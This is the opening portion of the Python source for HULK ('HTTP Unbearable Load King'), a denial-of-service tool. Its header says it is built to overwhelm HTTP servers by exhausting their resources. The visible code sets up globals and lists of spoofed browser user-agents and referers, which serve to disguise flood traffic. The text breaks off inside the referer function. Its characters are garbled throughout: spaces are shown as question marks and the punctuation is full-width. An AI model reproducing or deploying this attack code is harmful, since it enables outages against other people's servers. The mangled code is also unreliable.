#?----------------------------------------------------------------------------------------------
#?HULK?-?HTTP?Unbearable?Load?King
#
#?this?tool?is?a?dos?tool?that?is?meant?to?put?heavy?load?on?HTTP?servers?in?order?to?bring?them
#?to?their?knees?by?exhausting?the?resource?pool?its?is?meant?for?research?purposes?only
#?and?any?malicious?usage?of?this?tool?is?prohibited.
#
#?author?:??Barry?Shteiman??version?1.0
#?----------------------------------------------------------------------------------------------
import?urllib2
import?sys
import?threading
import?random
import?re

#global?params
url=‘‘
host=‘‘
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def?inc_counter（）:
	global?request_counter
	request_counter+=1

def?set_flag（val）:
	global?flag
	flag=val

def?set_safe（）:
	global?safe
	safe=1
	
#?generates?a?user?agent?array
def?useragent_list（）:
	global?headers_useragents
	headers_useragents.append（‘Mozilla/5.0?（X11;?U;?Linux?x86_64;?en-US;?rv:1.9.1.3）?Gecko/20090913?Firefox/3.5.3‘）
	headers_useragents.append（‘Mozilla/5.0?（Windows;?U;?Windows?NT?6.1;?en;?rv:1.9.1.3）?Gecko/20090824?Firefox/3.5.3?（.NET?CLR?3.5.30729）‘）
	headers_useragents.append（‘Mozilla/5.0?（Windows;?U;?Windows?NT?5.2;?en-US;?rv:1.9.1.3）?Gecko/20090824?Firefox/3.5.3?（.NET?CLR?3.5.30729）‘）
	headers_useragents.append（‘Mozilla/5.0?（Windows;?U;?Windows?NT?6.1;?en-US;?rv:1.9.1.1）?Gecko/20090718?Firefox/3.5.1‘）
	headers_useragents.append（‘Mozilla/5.0?（Windows;?U;?Windows?NT?5.1;?en-US）?AppleWebKit/532.1?（KHTML?like?Gecko）?Chrome/4.0.219.6?Safari/532.1‘）
	headers_useragents.append（‘Mozilla/4.0?（compatible;?MSIE?8.0;?Windows?NT?6.1;?WOW64;?Trident/4.0;?SLCC2;?.NET?CLR?2.0.50727;?InfoPath.2）‘）
	headers_useragents.append（‘Mozilla/4.0?（compatible;?MSIE?8.0;?Windows?NT?6.0;?Trident/4.0;?SLCC1;?.NET?CLR?2.0.50727;?.NET?CLR?1.1.4322;?.NET?CLR?3.5.30729;?.NET?CLR?3.0.30729）‘）
	headers_useragents.append（‘Mozilla/4.0?（compatible;?MSIE?8.0;?Windows?NT?5.2;?Win64;?x64;?Trident/4.0）‘）
	headers_useragents.append（‘Mozilla/4.0?（compatible;?MSIE?8.0;?Windows?NT?5.1;?Trident/4.0;?SV1;?.NET?CLR?2.0.50727;?InfoPath.2）‘）
	headers_useragents.append（‘Mozilla/5.0?（Windows;?U;?MSIE?7.0;?Windows?NT?6.0;?en-US）‘）
	headers_useragents.append（‘Mozilla/4.0?（compatible;?MSIE?6.1;?Windows?XP）‘）
	headers_useragents.append（‘Opera/9.80?（Windows?NT?5.2;?U;?ru）?Presto/2.5.22?Version/10.51‘）
	return（headers_useragents）

#?generates?a?referer?array
def?referer_list（）:
	global?headers_referers
	headers_referers.append（‘http://www.google.com/?q=‘）
	headers_referers.append（